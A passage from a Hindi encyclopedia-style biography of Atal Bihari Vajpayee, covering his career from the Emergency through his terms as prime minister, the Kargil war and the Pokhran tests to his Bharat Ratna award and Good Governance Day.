कि कश्मीर में रोज़गार के साधन उपलब्ध कराए जाएँ और शिक्षा के स्तर में वृद्धि हो।

इसी प्रकार विदेशी राजनीति भी अटल जी का पसंदीदा विषय थी। जब अमेरिका ने वियतनाम पर हमला किया तो उन्होंने बड़े कड़े शब्दों में निंदा की। वियतनाम को लेकर संयुक्त राष्ट्र संघ की ख़ामोशी को भी अटल जी ने अपना निशाना बनाया। उन्होंने इस युद्ध का परिणाम भी घोषित कर दिया था। अटल जी ने कहा था कि वियतनाम की जनता अपनी स्वाधीनता के लिए लड़ रही है और अमेरिका उसे युद्ध में तबाह करके अपना उपनिवेश बनाना चाहता है। अंतत: अमेरिकी फ़ौजों को वहाँ से जाना ही होगा। इस मुद्दे पर उन्होंने सटीक भविष्यवाणी की थी। उस युद्ध में वाकई अमेरिका को पराजय का सामना करना पड़ा और वियतनाम युद्ध आज भी अमेरिका के लिए एक दाग़ की भाँति है। यही नहीं, अमेरिका की जनता ने भी बाद में वियतमान युद्ध का कड़ा विरोध करना आरम्भ कर दिया था।

काव्य की रचना

अटल जी पाँचवी लोकसभा में भी पहुँचने में कामयाब रहे। सन् 1972 का लोकसभा चुनाव उन्होंने गृहनगर यानी ग्वालियर से लड़ा था। बलरामपुर संसदीय चुनाव का उन्होंने परित्याग कर दिया था। इस समय श्रीमती इंदिरा गांधी देश की प्रधानमंत्री थीं। लेकिन जून, 1975 में इंदिरा गांधी ने आपातकाल लगाकर विपक्ष के कई नेताओं को जेल में डाल दिया। उनमें अटल जी भी शामिल थे। उन्होंने जेल में रहते हुए समयानुकूल काव्य की रचना की और आपातकाल के यथार्थ को व्यंग्य के माध्यम से प्रकट किया। जेल में रहते हुए ही अटल जी का स्वास्थ्य ख़राब हो गया और उन्हें अखिल भारतीय आयुर्विज्ञान संस्थान में भर्ती कराया गया। लगभग 18 माह के बाद आपातकाल समाप्त हुआ और छठवीं लोकसभा के गठन हेतु चुनाव घोषित हुए। जब विपक्ष के नेता जेल में बंद थे, तब भी उनमें वैचारिक मंथन हुआ।

विदेश मंत्री

(जगजीवन राम[2], मोहन धारिया[3], जिम्मी कार्टर[4] और अटल बिहारी वाजपेयी[5] (बाएँ से दाएँ)

आपातकाल के कारण विपक्ष संगठित होने में सफल रहा। फिर लोकसभा चुनाव सम्पन्न हुए, लेकिन इंदिरा गांधी चुनाव नहीं जीत सकीं। संगठित विपक्ष द्वारा मोरारजी देसाई के प्रधानमंत्रित्व में जनता पार्टी की सरकार बनी और अटल जी विदेश मंत्री बनाए गए। उन्हें विदेशी मामलों का विशेषज्ञ भी माना जाता था। उन्होंने कई देशों की यात्राएँ कीं और भारत का पक्ष रखा। अटल जी की विदेश यात्राओं के कारण मोरारजी देसाई ने इन्हें टोका था कि कभी-कभी देश में भी रहा करो। अटल जी ने पाकिस्तान की भी यात्रा की। उन्होंने तत्कालीन फ़ौजी शासक जिया-उल-हक़ से वार्तालाप के दौरान 'फ़रक्का-गंगाजल' बंटवारे का मसौदा तय किया। इसके अतिरिक्त भारत और पाकिस्तान के मध्य रेल सेवा की बहाली भी तय की गई। अटल जी बंग्लादेश के साथ भी गंगाजल के वितरण पर समझौते की दिशा में बढ़े। उन्होंने विदेश मंत्री के तौर पर भारतीय अणु शक्ति के सम्बन्ध में नीति स्पष्ट की और अणु ऊर्जा को भारतीय आवश्यकताओं के लिए ज़रूरी बताया। अटल जी ने नेपाल के विदेश मंत्री के साथ व्यापार और पारगमन की नई नीति के सम्बन्ध में भी चर्चा की। 4 अक्टूबर, 1977 को उन्होंने संयुक्त राष्ट्र संघ के अधिवेशन में हिन्दी में सम्बोधन दिया। इसके पूर्व किसी भी भारतीय नागरिक ने राष्ट्रभाषा का प्रयोग इस मंच पर नहीं किया था।

राज्यसभा के लिए चुने गए

जनता पार्टी सरकार का पतन होने के पश्चात् 1980 में नए चुनाव हुए और इंदिरा गांधी पुन: सत्ता में आ गईं। इसके बाद 1996 तक अटल जी विपक्ष में रहे। 1980 में भारतीय जनसंघ के नए स्वरूप में भारतीय जनता पार्टी का गठन हुआ और इसका चुनाव चिह्न 'कमल का फूल' रखा गया। उस समय अटल जी ही भारतीय जनता पार्टी के शीर्ष नेता थे। प्रधानमंत्री श्रीमती इंदिरा गांधी की हत्या के पश्चात् 1984 में आठवीं लोकसभा के चुनाव हुए। सहानुभूति की लहर कांग्रेस के साथ थी। यही कारण है कि विपक्ष के अनेक दिग्गजों को पराजय का मुँह देखना पड़ा। अटल जी भी ग्वालियर की अपनी सीट भी नहीं बचा पाए। लेकिन 1986 में इन्हें राज्यसभा के लिए चुन लिया गया। फिर समय ने पलटा खाया और विश्वनाथ प्रताप सिंह के कारण कांग्रेस को सत्ता से बाहर जाना पड़ा।

लोकसभा भंग

ऐसे में भारतीय जनता पार्टी ने राष्ट्रीय मोर्चा को बाहर से ही समर्थन प्रदान किया। लेकिन 13 मार्च, 1991 को लोकसभा भंग हो गई और 1991 में नए चुनाव सम्पन्न हुए। सम्पूर्ण चुनाव प्रक्रिया को दो चरणों में होना था। चुनाव के प्रथम चरण के बाद तमिलनाडु में राजीव गांधी की हत्या होने और द्वितीय चरण के मतदान में कांग्रेस को सहानुभूति का लाभ मिलने से पी. वी. नरसिम्हा राव कांग्रेस के प्रधानमंत्री नियुक्त हुए। इनका प्रधानमंत्रित्व कार्यकाल पूर्ण होने के बाद 1996 में पुन: लोकसभा के चुनाव सम्पन्न हुए।

प्रधानमंत्री पद

1996 के चुनावों में भारतीय जनता पार्टी सबसे बड़े दल के रूप में उभरी। संसदीय दल के नेता के रूप में अटलजी प्रधानमंत्री बने। उन्होंने 21 मई, 1996 को प्रधानमंत्री के पद एवं गोपनीयता की शपथ ग्रहण की। 31 मई, 1996 को इन्हें अन्तिम रूप से बहुमत सिद्ध करना था, लेकिन विपक्ष संगठित नहीं था। इस कारण अटल जी मात्र 13 दिनों तक ही प्रधानमंत्री रहे। उन्होंने अपनी अल्पमत सरकार का त्यागपत्र राष्ट्रपति डॉ. शंकरदयाल शर्मा को सौंप दिया।

कार्यवाहक प्रधानमंत्री

कारगिल में युद्ध की जो स्थितियाँ बनीं, वह निश्चय ही घोर लापरवाही का कारण थीं, लेकिन सच्चाई सामने नहीं आ सकी। अगले चुनावों में एन. डी. ए. की सरकार बनी। उसने उन आरोपों की निष्पक्ष जाँच कराने में कोई दिलचस्पी नहीं दिखाई और सभी सवाल समय की गर्त में दफ़न हो गए। अटल जी की सरकार दूसरी बार एक मत की कमी से बहुमत के जादुई आँकड़े तक नहीं पहुँच पाई और उसका पतन हो गया। सरकार गिराने के लिए विपक्ष ने राजनीति में प्रचलित वैध-अवैध सभी पैंतरे आजमाए, लेकिन कोई भी पार्टी सरकार बनाने की स्थिति में नहीं थी। अत: अप्रैल, 1999 से अक्टूबर, 1999 तक अटल जी कार्यवाहक प्रधानमंत्री रहे।

तीसरी बार प्रधानमंत्री

चुनाव के पश्चात् एन. डी. ए. को स्पष्ट बहुमत प्राप्त हुआ और 13 अक्टूबर, 1999 को राष्ट्रपति श्री के. आर. नारायणन ने अटल जी को प्रधानमंत्री के रूप में पद एवं गोपनीयता की शपथ दिलाई। इस प्रकार अटल जी तीसरी बार प्रधानमंत्री बने। वह पहले के दो कार्यकाल पूर्ण नहीं कर पाए थे। भाजपा हिन्दुत्ववादी पार्टी है, लेकिन वह धर्मनिरपेक्षता का सिद्धान्त भी स्वीकार करती है। भाजपा में अनेक मुस्लिम लोग भी सम्मिलित हैं। लेकिन भाजपा का विश्वास रहा है कि हिन्दुओं को अपनी पार्टी से जोड़कर रखना है। इस कारण वह उन संवेदनशील मुद्दों को हवा सदैव देती रही जो हिन्दुओं से सम्बन्धित थे। इसमें अयोध्या स्थित 'रामजन्म भूमि' पर मन्दिर बनाए जाने का भी मुद्दा था। यद्यपि अटल जी उस सीमा तक भाजपा के साथ माने जाते हैं, जहाँ तक हिन्दू राष्ट्र का सवाल आता है, लेकिन वह जन भावनाएँ भड़काने की नीति के समर्थक कभी भी नहीं रहे।

अटलजी प्रधानमंत्री के रूप में यक़ीनन बेहद योग्य व्यक्ति रहे हैं और नेहरूजी ने अपने जीवनकाल में ही यह घोषणा कर दी थी तथापि आडवाणी जी को इस बात का श्रेय अवश्य दिया जाना चाहिए कि उन्होंने अटल जी को प्रधानमंत्री के रूप में प्रचारित किया। आडवाणी जी के इस अथक श्रम को निश्चय ही याद किया जाएगा कि उन्होंने अटल जी के लिए समर्थन जुटाया। भाजपा की हिन्दुत्ववादी नीति से वोट बटोरने का कार्य भी उन्होंने किया था। राजनीति में स्थायी मित्रता और शत्रुता का कोई भी स्थान नहीं होता। प्रधानमंत्री बनने के बाद अटलजी के सामने सम्पूर्ण देश और उसकी समस्याएँ थीं। वह भाजपा तक सीमित नहीं रह सकते थे। वह संवैधानिक मर्यादा से बंधे हुए थे। यों भी अटलजी नैतिक व्यक्ति रहे हैं। इसके अलावा एन. डी. ए. के प्रति भी उनका उत्तरदायित्व था। आडवाणी जी चाहते थे कि राम मन्दिर का मसला सुलझा लिया जाए। लेकिन अटल जी जानते थे कि एन. डी. ए. में शामिल अन्य दल इसके लिए तैयार नहीं होंगे। वह विवादास्पद प्रधानमंत्री नहीं बनना चाहते थे। वह दूरगामी परिणामों का आकलन कर रहे थे। यही कारण है कि आडवाणी जी के साथ उनके वैचारिक मतभेद हो गए।

ठोस कार्य

अटल बिहारी वाजपेयी और रूस के राष्ट्रपति व्लादिमिर पुतिन

अटल जी की एन. डी. ए. सरकार ने पाँच वर्ष का कार्यकाल अवश्य पूर्ण किया, लेकिन इसके लिए अटल जी को काफ़ी पापड़ बेलने पड़े। एन. डी. ए. संयोजक जॉर्ज फ़र्नाडीज़ ने भी इसमें सकारात्मक भूमिका का निर्वहन किया था। एन. डी. ए. के सभी घटकों का पाँच वर्ष तक एक साथ रहना भी किसी चुनौती से कम नहीं था। अटल जी के तृतीय प्रधानमंत्रित्व काल की विशेषताओं को संक्षिप्त रूप में इस प्रकार समझा जा सकता है-

  • श्री नरसिम्हा राव में आर्थिक सुधारों की जो नीति आरम्भ की थी, उसे अटल जी ने जारी रखा। उन्हें इस नीति के सकारात्मक तथ्यों का ज्ञान था। वह उसे इस कारण ख़ारिज नहीं करना चाहते थे कि वह कांग्रेस की आर्थिक नीति थी। ऐसी नीति से अर्थव्यवस्था के सुधार का लाभ इनकी सरकार को भी प्राप्त हुआ और सर्वहारा वर्ग भी आर्थिक रूप से सम्पन्न हुआ।
  • श्री अटल जी ने संतुलित विदेश नीति का पालन करते हुए अपनी परमाणु नीति को स्पष्ट किया। अमेरिका और उसके मित्र देशों ने पोखरण परमाणु विस्फोट पर आँखें अवश्य तरेरीं लेकिन अटलजी ने स्पष्ट कर दिया कि भारत अगला परमाणु परीक्षण नहीं करेगा। वह परमाणु बम का उपयोग तभी करेगा जब उसके विरुद्ध ऐसा किया जाएगा। भारतीय परमाणु कार्यक्रम चीन तथा पाकिस्तान के विरोधी रवैये को देखते हुए बनाया गया और सारी दुनिया भी भारत के इस भय को समझती थी।
  • आर्थिक विकास के लिए अटलजी ने 'स्वर्णिम चतुर्भुज' योजना का आरम्भ किया। इसके अंतर्गत वह देश के महत्त्वपूर्ण शहरों को लम्बी-चौड़ी सड़कों के माध्यम से जोड़ना चाहते थे। इसका अधिकांश कार्य अटलजी के कार्यकाल में पूर्ण हुआ। इससे जहाँ आम व्यक्ति की यात्रा सुविधाजनक हुई, वहीं व्यापारिक और क़ारोबारी गतिविधियों को भी प्रोत्साहन मिला।
  • अटलजी ने पड़ोसी देश पाकिस्तान के साथ सम्बन्ध सुधारने की दिशा में सदैव पहल की, यद्यपि पाकिस्तान ने कभी भी अपने वादों को पूर्ण नहीं किया। कारगिल युद्ध इसका स्पष्ट उदाहरण है। उन्होंने पाकिस्तान के सैनिक शासक परवेज मुशर्रफ़ से भी बातचीत की थी।
  • अमेरिकी राष्ट्रपति बिल क्लिटंन के भारत आगमन पर अमेरिका के साथ भारतीय सम्बन्धों को सुधारने की दिशा में कार्य किया गया। अटलजी ने पाकिस्तान के अपदस्थ प्रधानमंत्री नवाज शरीफ़ की रिहाई के लिए बिल क्लिंटन से वार्ता की ताकि पड़ोसी देश में प्रजातंत्र की हत्या न हो सके। इस साझा प्रयास से ही नवाज शरीफ़ की रिहाई सम्भव हो सकी।

विभिन्न उपलब्धियाँ

अटल बिहारी वाजपेयी और अमेरिका के राष्ट्रपति जॉर्ज बुश

19 मार्च, 1998 को नए चुनावों के माध्यम से अटल जी पुन: प्रधानमंत्री बने। इस समय सदन में भारतीय जनता पार्टी (भाजपा) सदस्यों की संख्या 182 थी। तेलुगुदेशम, तृणमूल कांग्रेस और जयललिता की ए. आई. डी. एम. के. ने भाजपा को समर्थन दिया। अप्रैल 1999 तक अटल जी दूसरी बार प्रधानमंत्री पद पर रहे। इनका कार्यकाल इस बार 14 महीनों तक रहा। द्वितीय कार्यकाल में अटलजी ने प्रधानमंत्री के रूप में निम्नलिखित उपलब्धियाँ हासिल प्राप्त कीं-

  • अटलजी ने विज्ञान और तकनीक की प्रगति के साथ देश का भविष्य जोड़ा। उन्होंने परमाणु शक्ति को देश के लिए आवश्यक बताकर 11 मई 1998 को पोखरन में पाँच परमाणु परीक्षण किए।
  • अटल जी ने भारतीय सुरक्षा को महत्त्व दिया और देश को परमाणु बम से लैस किया। देश की स्वतंत्रता और सम्प्रभुता का नारा दिया।
  • परमाणु बम बना लेने के कारण अमेरिका और उसके मित्र राष्ट्रों ने भारत पर प्रतिबंध लगा दिया। लेकिन अटलजी ने प्रतिबंधों की परवाह न करते हुए भारत को स्वावलम्बी राष्ट्र बनाने की दिशा में कार्य किया। उन्होंने स्पष्ट रूप से कह दिया कि भारत की अर्थव्यवस्था मज़बूत है और उन्हें आर्थिक प्रतिबंधों की कोई भी परवाह नहीं है।
  • अटलजी ने पोखरन में जय जवान, जय किसान का नारा देकर अपने समस्त इरादे दुनिया के सामने ज़ाहिर कर दिए कि भारत भी एक परमाणु सम्पन्न देश है। अपनी स्वतंत्रता को क़ायम रखने के लिए उसे भी परमाणु बम बनाने का अधिकार है।
  • अटलजी ने प्रधानमंत्री के रूप में 'ब्रेन ड्रेन' (युवा प्रतिभाओं में विदेश गमन की अभिरुचि) को रोकने की ज़रूरत बताई। उन्होंने युवाओं का आह्वान किया कि वे मातृभूमि की सेवा पर ध्यान दें।
  • अटलजी ने सेनाओं का मनोबल ऊँचा उठाने कार्य किया। साथ ही परमाणु कार्यक्रम की आधार शिला रखने वाली भूतपूर्व प्रधानमंत्री श्रीमती इंदिरा गांधी को भी उन्होंने धन्यवाद दिया। अटलजी के लिए राष्ट्रहित दलगत राजनीति से सदैव ऊपर रहा। अटलजी को उदारमना ही कहना चाहिए कि उन्होंने विपक्ष की उपलब्धियों को भी सराहा।

मात्र चौदह महीनों के कार्यकाल में अटलजी ने प्रधानमंत्री के रूप में स्वयं को सफल साबित कर किया। उन्हें पता था कि वह साझा सरकार के रूप में काम कर रहे हैं और भारतीय जनता पार्टी के पास पूर्ण बहुमत नहीं है, इस कारण उन्होंने अपने भाषण में स्पष्ट कर दिया था कि शायद यह कार्यकाल भी पूर्ण न हो पाए। फिर यही हुआ भी। इसके पश्चात् ए. आई. डी. एम. के. की जयललिता ने सशर्त समर्थन देना चाहा लेकिन अटलजी ने इसे स्वीकार नहीं किया और उन्हें प्रधानमंत्री पद से त्यागपत्र देना पड़ा। उस समय कोई भी पार्टी केन्द्र में सरकार बनाने में सक्षम नहीं थी। इस कारण सितम्बर-अक्टूबर के मध्य चुनाव कराए गए और इस समय तक कार्यवाहक प्रधानमंत्री का दायित्व अटलजी ने ही सम्भाला। लेकिन उसकी चर्चा करने से पूर्व उनके द्वितीय कार्यकाल में हुए कारगिल युद्ध का विवरण दिया जाना प्रासंगिक ही नहीं वरन् अत्यावश्यक भी होगा।

कारगिल युद्ध

रूस के राष्ट्रपति व्लादिमिर पुतिन और भारत के पूर्व राष्ट्रपति अब्दुल कलाम के साथ अटल बिहारी वाजपेयी

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कश्मीर के कारगिल क्षेत्र में सामरिक महत्त्व की ऊँची चोटियाँ भारत के अधिकार क्षेत्र में आती हैं। उन दुर्गम चोटियों पर शीत ऋतु में रहना काफ़ी कष्टसाध्य होता है। इस कारण भारतीय सेना वहाँ शीत ऋतु में नहीं रहती थी। इसका लाभ उठाकर पाकिस्तान के राष्ट्रपति परवेज मुशर्रफ़ ने आतंकवादियों के साथ पाकिस्तानी सेना को भी कारगिल पर क़ब्ज़ा करने के लिए भेज दिया। वस्तुत: पाकिस्तान ने सीमा सम्बन्धी नियमों का उल्लघंन किया था। लेकिन उसके पास यह सुरक्षित बहाना था कि कारगिल की चोटियों पर तो आतंकवादियों ने क़ब्ज़ा किया है, न कि पाकिस्तान की सेना ने। ऐसी स्थिति में भारतीय सेना के सामने बड़ी चुनौती थी। दुश्मन काफ़ी ऊँचाई पर था और भारतीय सेना उनके आसान निशाने पर थी। लेकिन भारतीय सेना ने अपना मनोबल क़ायम रखते हुए पाकिस्तानी फ़ौज पर आक्रमण कर दिया। इसे 'ऑपरेशन विजय' का नाम दिया गया।

भारत को विजयश्री

भारतीय सैनिकों ने ठान लिया था कि वे कारगिल से पाकिस्तानियों को खदेड़कर ही दम लेंगे। भारतीय सैनिकों ने विलक्षण वीरता का परिचय देते हुए पाकिस्तानी सैनिकों को चारों ओर से घेर लिया। बेशक़ कारगिल युद्ध में भारत को विजयश्री प्राप्त हुई लेकिन अमेरिका के हस्तक्षेप के कारण भारत सरकार ने पाकिस्तानी सैनिकों को हथियारों सहित निकल भागने का मौक़ा दे दिया। पाकिस्तान को सामरिक महत्त्व की चोटियाँ ख़ाली करनी पड़ीं और भारत ने पाकिस्तानी सैनिकों की ज़िन्दा वापसी को स्वीकार कर लिया। वस्तुत: युद्ध के भी कुछ नियम होते हैं। भारतवर्ष ने उन्हीं नियमों का पालन किया था। लेकिन इस युद्ध में जहाँ भारत की जीत का सेहरा अटलजी के सिर पर बंधा, वहीं कई अन्य बातें भी प्रमाणित हुईं। जिन बोफ़ोर्स तोपों के नाकारा होने की बात श्री राजीव गांधी के प्रधानमंत्रित्व काल में विपक्ष एवं भाजपा करती थीं, वही तोपें कारगिल युद्ध में बेहद कामयाब और उपयोगी साबित हुईं। सेना के उच्च अधिकारियों ने कहा कि बोफोर्स तोपों के कारण ही कारगिल में भारतीय सेना को शीघ्र कामयाबी मिल पाई थी वरना युद्ध लम्बा खिंच सकता था। बोफोर्स तोपों को लेकर राजीव गांधी पर जो आरोप लगे, वह इस प्रकार आंशिक रूप से धुल गए। बाद में न्यायपालिका ने भी स्वर्गीय राजीव गांधी को इस मामले में क्लीन चिट प्रदान कर दी।
प्रधानमंत्री अटल बिहारी वाजपेयी की सरकार पर लापरवाही का आरोप लगा कि जब 1998 में पाकिस्तानी सैनिकों ने कारगिल पर शीत काल में घुसपैठ की थी तो भारत का ख़ुफ़िया तंत्र समय पर इसका पता नहीं लगा सका। इस पर ख़ुफ़िया तंत्र ने स्पष्ट किया कि उसे इस बात की जानकारी थी और उसने सरकार को सूचित कर दिया था। तब विपक्ष ने सरकार को निशाना बनाया कि ऐसी घोर लापरवाही का उद्देश्य क्या था? क्या उद्देश्य यह था कि युद्ध जैसे हालात पैदा करने के लिए सरकार इंतज़ार कर रही थी, ताकि युद्ध में विजय का लाभ आगामी चुनावों में प्राप्त किया जा सके?

मुशर्रफ़ से वार्ता

अटल बिहारी वाजपेयी और पाकिस्तान के राष्ट्रपति परवेज मुशर्रफ़

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प्रधानमंत्री अटल बिहारी वाजपेयी ने पाकिस्तान के राष्ट्रपति परवेज मुशर्रफ़ को आगरा में शिख़र वार्ता के लिए आमंत्रित किया। अटलजी चाहते थे कि वार्तालाप के माध्यम से दोनों देशों की समस्याओं का निराकरण किया जाए, लेकिन परवेज मुशर्रफ़ के व्यक्तित्व को समझने में भूल कर बैठे। परवेज मुशर्रफ़ ने शाही यात्रा का आनन्द तो उठाया लेकिन समझौते की राह हमवार नहीं हुई। परवेज मुशर्रफ़ ने भारत सरकार को पूर्व सूचना दिए बग़ैर ही आगरा के इलेक्ट्रानिक मीडिया को संभाषण जारी कर दिया, जिससे भारत की आलोचना हुई। इस संभाषण में भारत का पक्ष भी नकार दिया गया और कश्मीर के मामले को अधिक पेचीदा बनाकर पेश किया गया।

आतंक का साया

पाकिस्तान द्वारा समर्थित आतंकवाद के कारण भारत में अनेक प्रकार की समस्याएँ उत्पन्न हुईं। पाकिस्तान यह अच्छी तरह से समझ चुका था कि भारत से युद्ध करके जीतना उसके लिए सम्भव नहीं है। इस कारण उसने आतंकवादियों के बल पर नई युद्ध नीति का विकास किया, जिससे कश्मीर के अवाम को सदैव परेशानियाँ भोगनी पड़ीं। अक्टूबर 2002 में आतंकवादियों ने जम्मू-कश्मीर विधानसभा पर आत्मघाती हमला कर दिया। वाजपेयी सरकार का ख़ुफ़िया तंत्र इस बार भी आतंकवादियों के मंसूबों का पूर्वानुमान नहीं कर पाया। पाकिस्तान बेशर्म की भाँति मुस्कराता रहा और भारत सरकार की प्रशासनिक क्षमता पर प्रश्नचिह्न लग गया। इतना ही नहीं, 13 दिसम्बर, 2001 को भारत की संसद पर आतंकियों ने हमला करके सबको आश्चर्य में डाल दिया। देश की राजधानी में संसद पर हमला किया जाना भारतीय इतिहास के लिए बाकई बेहद शर्म का दिन था। आतंकवादी भारी सुरक्षा के बावजूद संसद परिसर में गोला, बारूद और हथियारों सहित प्रविष्ट हो गए। लोकतंत्र की सबसे बड़ी संस्था पर किया गया हमला पाकिस्तान समर्थित आतंकवाद का ही हिस्सा था। इस हमले के तहत् भारत सरकार ने काफ़ी शोर-शराबा मचाया और कूटनीतिक दबाव बनाने के लिए अंतर्राष्ट्रीय बिरादरी का ध्यान भी आकृष्ट किया। लेकिन जो अपनी रक्षा स्वयं नहीं कर पाता, उसका साथ भला कौन देता है?

भारत ने बेशक़ संयम से काम लिया, लेकिन आवश्यकता थी कड़े क़दम उठाने की। परन्तु अटलजी इस हमले का माक़ूल जवाब देने में विफल रहे। इस सम्बन्ध में विपक्ष चाहता था कि वाजपेयी सरकार पाकिस्तान को इसका जवाब युद्ध से दे, लेकिन सरकार ने सीमाओं पर भारी तादाद में सेनाओं की तैनाती कर दी। युद्ध के बादल अवश्य मंडराये, लेकिन बरसे नहीं। परमाणु शक्ति दोनों देशों के पास हैं। इस कारण युद्ध की आशंका दोनों देशों के निवासी भयभीत थे। वे लोग युद्ध नहीं चाहते थे। यह आतंकवादी कार्रवाई लश्करे तैयबा ने की थी, जिसका पाकिस्तान में पोषण हो रहा था। संसद पर हमला करने वाले पाँच आतंकी थे और पाँचों को ही मार गिराया गया।

भ्रष्टाचार के आरोप

एन.डी.ए. सरकार पर भ्रष्टाचार के अनेक आरोप लगे थे। इनमें सर्वाधिक चर्चित था-तहलका काण्ड। तहलका द्वारा भाजपा सदस्यों सहित सेना के अनेक अधिकारियों को घूस लेते हुए कैमरे में क़ैद करके सार्वजनिक रूप से उसका टी. वी. चैनल पर प्रदर्शन किया गया था। तब भाजपा अध्यक्ष बंगारू लक्ष्मण और रक्षा मंत्री जॉर्ज फ़र्नाडीज़ ने इस्तीफ़ा दे दिया। लेकिन बाद में जॉर्ज फ़र्नीडीज़ को पुन: रक्षा मंत्रालय दे दिया गया। इससे जॉर्ज फ़र्नाडीज़ की छवि पर ऐसा दाग़ लगा कि फिर कभी भी धुल नहीं पाया। उसकी काली छाया भाजपा और अटलजी पर भी पड़ी। संसद का सत्र आहूत किए जाने पर विपक्ष ने जॉर्ज फ़र्नाडीज़ को लेकर सदन का कई बार बहिष्कार किया। एन. डी. ए. का कार्यकाल समाप्त होने तक यही स्थिति बनी रही।

चुनावों में पराजय

भाजपा और एन. डी. ए. को यह प्रबल विश्वास था कि जनता उन्हें पुन: अवसर प्रदान करेगी। उन्होंने चमकदार भारत (शाइनिंग इंडिया) और भारत उदय (इंडिया राइजिंग) का चुनावी नारा दिया था। उन्हें मुग़ालता था कि एन. डी. ए. ने भारत की तस्वीर बदल दी है। एन. डी. ए. अपनी उपलब्धियाँ भी गिनाईं। एन. डी. ए. का कार्यकाल अक्टूबर 2004 में समाप्त होना था। लेकिन उसे लगा कि यदि चुनाव जल्दी करा लिए जाएँ तो इसका फ़ायदा उन्हें अवश्य होगा। इस कारण चुनाव अप्रैल-मई में ही करा लिए गए। लेकिन एन. डी. ए. का पूर्वानुमान ग़लत साबित हुआ। कांग्रेस ने यू.पी.ए. के रूप में बहुमत प्राप्त कर लिया। उसके बाद से अटलजी भाजपा के लिए कार्य करते रहे।

राष्ट्रपति प्रणब मुखर्जी द्वारा भारत रत्न से सम्मानित होते हुए

भारत रत्न सम्मान

राष्ट्रपति प्रणब मुखर्जी ने दिनांक 27 मार्च, 2015 को पूर्व प्रधानमंत्री अटल बिहारी वाजपेयी को उनके घर जाकर भारत रत्न से सम्मानित किया। वाजपेयी जी के स्वास्थ्य को देखते हुए राष्ट्रपति ने उनके घर जाकर देश का सर्वोच्च नागरिक सम्मान प्रदान किया। इस अवसर पर प्रधानमंत्री नरेंद्र मोदी, अरुण जेटली, नितिन गडकरी और राजनाथ सिंह भी वाजपेयी के घर मौजूद रहे। प्रधानमंत्री के पद पर रहे हों या नेता प्रतिपक्ष। बेशक देश की बात हो या क्रान्तिकारियों की, या फिर उनकी अपनी ही कविताओं की। अटल बिहारी वाजपेयी की बरारबरी कोई नहीं कर सकता। भारत रत्न से उन्हें सम्मानित किए जाने की घोषणा भारत सरकार ने दिसम्बर 2014 में कर दी गई थी। वाजपेयी भारत रत्न ग्रहण करने वाले देश के सातवें प्रधानमंत्री हुए। इससे पहले जवाहरलाल नेहरू, इंदिरा गांधी, राजीव गांधी, मोरारजी देसाई, लाल बहादुर शास्त्री और गुलजारीलाल नंदा को यह सम्मान मिल चुका है।

अन्य पुरस्कार
  • 1992 में पद्म विभूषण
  • 1993 में डी. लिट (कानपुर विश्वविद्यालय)
  • 1994 में लोकमान्य तिलक पुरस्कार
  • 1994 में श्रेष्ठ सासंद पुरस्कार
  • 1994 में भारत रत्न पंडित गोविंद वल्लभ पंत पुरस्कार।
अटल बिहारी वाजपेयी को भारत रत्न मिलने पर वर्तमान राजनेताओं के कथन[6]
कथन राजनेता
आज अटल जी को भारत रत्न से सम्मानित किया गया। यह हमारे लिए गर्व और खुशी की बात है। वह सिर्फ भारत के ही सर्वश्रेष्ठ नेता ही नहीं हैं बल्कि अंतरराष्ट्रीय आइकन हैं जिनका हर कोई सम्मान करता है। राजनाथ सिंह, केंद्रीय गृहमंत्री
वाजपेयी जी को भारत रत्न से सम्मानित करना पूरे देश के लिए गौरवांवित करने वाला पल है। वह एक ऐसे श्रेष्ठतम राजनेता हैं, जो देश के लिए बिना थके काम करते रहे। मेरी समझ में इस देश में बहुत कम लोग हैं जो उनके जैसे अच्छे वक्ता, राजनेता, विचारक और कवि हों। हम उनके बेहतर स्वास्थ्य की कामना करते हैं। अरुण जेटली, केंद्रीय वित्त मंत्री
भारत रत्न से सम्मानित होने के मौके पर में वाजपेयी साहब और उनके परिजनों को दिल से बधाई देता हूं। उनके शासनकाल में विदेश राज्यमंत्री के तौर पर काम करना मेरे लिए बड़े सम्मान की बात है। उमर अब्दुल्ला, जम्मू-कश्मीर के पूर्व मुख्यमंत्री
वाजपेयी जी के भारत रत्न से सम्मानित करने के लिए आयोजित समारोह में उपस्थित होकर मैं बहुत खुश हूँ। एक सौहार्दपूर्ण माहौल में मैंने उनके साथ लंबे वक्त तक काम किया। चंद्रबाबू नायडू, आंध्र प्रदेश के मुख्यमंत्री
महान् राजनेता अटल बिहारी वाजपेयी जी को भारत रत्न से सम्मानित करने का दिन भाजपा और पूरे राष्ट्र के लिए एक गौरवपूर्ण क्षण है। आनंदीबेन पटेल, गुजरात की मुख्यमंत्री
अटल जी के भारत रत्न से सम्मानित किए जाने पर मैं बहुत खुश हूँ। वह सही मायनों में एक महान् राजनेता हैं जो इस सम्मान के हकदार हैं। मेरी शुभकामनाएँ। ममता बनर्जी, पश्चिम बंगाल की मुख्यमंत्री
भारत रत्न से सम्मानित होने पर मैं अपने सम्माननीय परामर्शदाता अटल बिहारी वाजपेयी जी को दिल से बधाई देता हूँ। शिवराज सिंह चौहान, मध्य प्रदेश के मुख्यमंत्री
वाजपेयी जी हमेशा शिष्ट, विशाल हृदय और लोकतंत्र के श्रेष्ठतम समर्थक रहे। इस सम्मान के वह उचित हकदार हैं। वरुण गाँधी, भाजपा सांसद
आदरणीय अटल जी को भारत रत्न मिलने की बहुत-बहुत बधाई। देश के सर्वोच्च अधिकारी माननीय राष्ट्रपति जी द्वारा स्वयं जाकर वाजपेयी जी के सम्मान देना शुभ संकेत है। कुछ अपवादों के आगे कोई भी प्रोटोकॉल मायने नहीं रखता। अटल जी को भारत रत्न देने के लिए यदि पूरा संसद भी उपस्थित हो तो भी कम है। कुमार विश्वास, कवि

सुशासन दिवस

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'सुशासन दिवस' प्रतिवर्ष 25 दिसम्बर को पूरे भारत में मनाया जाता है। 25 दिसम्बर हमारे पूर्व प्रधानमंत्री अटल बिहारी वाजपेयी जी का जन्म दिवस है, जो उन्हें हमेशा के लिये आदर और सम्मान देने के लिये सुशासन दिवस के रूप में घोषित किया गया है। भारत सरकार द्वारा यह घोषित किया गया है कि '25 दिसम्बर' (सुशासन दिवस) को पूरे दिन काम किया जायेगा।



भारत के प्रधानमंत्री
Arrow-left.png पूर्वाधिकारी
इन्द्र कुमार गुजराल
अटल बिहारी वाजपेयी उत्तराधिकारी
डॉ. मनमोहन सिंह
Arrow-right.png

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टीका टिप्पणी और संदर्भ

  1. जो कि बाद में रानी लक्ष्मीबाई कॉलेज के नाम से जाना गया
